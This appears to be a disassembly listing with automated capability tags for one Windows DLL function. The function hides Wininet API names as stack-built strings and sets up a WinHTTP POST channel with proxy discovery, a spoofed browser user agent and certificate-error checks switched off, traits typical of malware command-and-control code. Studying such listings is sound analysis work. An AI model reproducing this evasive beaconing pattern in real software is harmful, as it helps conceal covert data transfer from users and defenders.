Function at 0x180007170
Capabilities:
Contain obfuscated stackstrings
Initialize winhttp library
Prepare http request
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xc70
mov rax, qword [0x18009b018]
xor rax, rsp
mov qword [rsp + 0xc60], rax
mov dword [rsp + 0x44], 0x80070057
mov dword [rsp + 0x98], 0
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x220]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x78], rax
mov byte [rsp + 0xf0], 0x49
mov byte [rsp + 0xf1], WSAStartup
mov byte [rsp + 0xf2], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xf3], 0x65
mov byte [rsp + 0xf4], WSAStartup
mov byte [rsp + 0xf5], WSAStartup
mov byte [rsp + 0xf6], 0x65
mov byte [rsp + 0xf7], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xf8], 0x43
mov byte [rsp + 0xf9], 0x61
mov byte [rsp + 0xfa], WSAStartup
mov byte [rsp + 0xfb], WSAStartup
mov byte [rsp + 0xfc], WSAStartup
mov byte [rsp + 0xfd], 0x69
mov byte [rsp + 0xfe], 0x63
mov byte [rsp + 0xff], 0x61
mov byte [rsp + 0x100], WSAStartup
mov byte [rsp + 0x101], 0x69
mov byte [rsp + 0x102], 0x7a
mov byte [rsp + 0x103], 0x65
mov byte [rsp + 0x104], 0x55
mov byte [rsp + 0x105], WSAStartup
mov byte [rsp + 0x106], WSAStartup
mov byte [rsp + 0x107], 0x57
mov byte [rsp + 0x108], 0
mov byte [rsp + 0xd8], 0x49
mov byte [rsp + 0xd9], WSAStartup
mov byte [rsp + 0xda], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xdb], 0x65
mov byte [rsp + 0xdc], WSAStartup
mov byte [rsp + 0xdd], WSAStartup
mov byte [rsp + 0xde], 0x65
mov byte [rsp + 0xdf], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xe0], 0x43
mov byte [rsp + 0xe1], WSAStartup
mov byte [rsp + 0xe2], 0x61
mov byte [rsp + 0xe3], 0x63
mov byte [rsp + 0xe4], 0x6b
mov byte [rsp + 0xe5], 0x55
mov byte [rsp + 0xe6], WSAStartup
mov byte [rsp + 0xe7], WSAStartup
mov byte [rsp + 0xe8], 0x57
mov byte [rsp + 0xe9], 0
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009d440], rax
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009d448], rax
mov r9, qword [rsp + 0xc80]
lea r8, [0x180077dbc]
mov edx, 0x201
lea rcx, [rsp + 0x850]
call fcn.180008f40
mov dword [rsp + 0x4c], 0x104
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x110]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x180007416
lea r8, str.Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko_
mov edx, 0x104
lea rcx, [rsp + 0x110]
call fcn.180008e90
lea r9, [rsp + 0x110]
lea r8, [0x180077e1c]
mov edx, 0x104
lea rcx, [rsp + 0x220]
call fcn.180008f40
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x220]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [0x18009d430], rax
cmp qword [0x18009d430], 0
jne 0x18000746e
jmp 0x180007718
cmp qword [0x18009d430], 0
je 0x1800075ed
lea rcx, [rsp + 0xa0]
call fcn.180007e80
test eax, eax
je 0x1800075ed
cmp qword [rsp + 0xb0], 0
je 0x1800074c3
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x80], 3
mov qword [rsp + 0x90], 0
cmp qword [rsp + 0xa8], 0
je 0x180007545
mov dword [rsp + 0x58], 2
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x74], 1
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 0
lea r9, [rsp + 0xc0]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x850]
mov rcx, qword [0x18009d430]
call qword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
test eax, eax
je 0x180007545
mov r8d, 0x18
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.18004af90
cmp dword [rsp + 0xa0], 0
je 0x1800075c2
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x5c], 3
mov dword [rsp + 0x74], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 0
lea r9, [rsp + 0xc0]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x850]
mov rcx, qword [0x18009d430]
call qword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
test eax, eax
je 0x1800075c2
mov r8d, 0x18
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.18004af90
cmp qword [rsp + 0x88], 0
je 0x1800075ed
mov r9d, 0x18
lea r8, [rsp + 0x80]
mov edx, 0x26
mov rcx, qword [0x18009d430]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov dword [rsp + 0x30], 0x104
lea rax, [rsp + 0x640]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x104
lea r8, [rsp + 0x430]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x850]
call fcn.180007d90
xor r9d, r9d
movzx r8d, word [rsp + 0x40]
lea rdx, [rsp + 0x430]
mov rcx, qword [0x18009d430]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [0x18009d438], rax
cmp qword [0x18009d438], 0
jne 0x180007660
jmp 0x180007718
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x640]
lea rdx, str.POST
mov rcx, qword [0x18009d438]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [0x18009d428], rax
cmp qword [0x18009d428], 0
jne 0x1800076ac
jmp 0x180007718
cmp dword [rsp + 0x48], 0x800000
jne 0x1800076e1
mov dword [rsp + 0x50], 0x3100
mov r9d, 4
lea r8, [rsp + 0x50]
mov edx, 0x1f
mov rcx, qword [0x18009d428]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
jne 0x1800076e1
jmp 0x180007718
mov dword [rsp + 0x20], 0xea60
mov r9d, 0xea60
mov r8d, 0x2710
mov edx, 0x2710
mov rcx, qword [0x18009d428]
call qword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
mov eax, 1
jmp 0x18000771f
call fcn.180007900
xor eax, eax
mov rcx, qword [rsp + 0xc60]
xor rcx, rsp
call fcn.180047960
add rsp, 0xc70
pop rdi
ret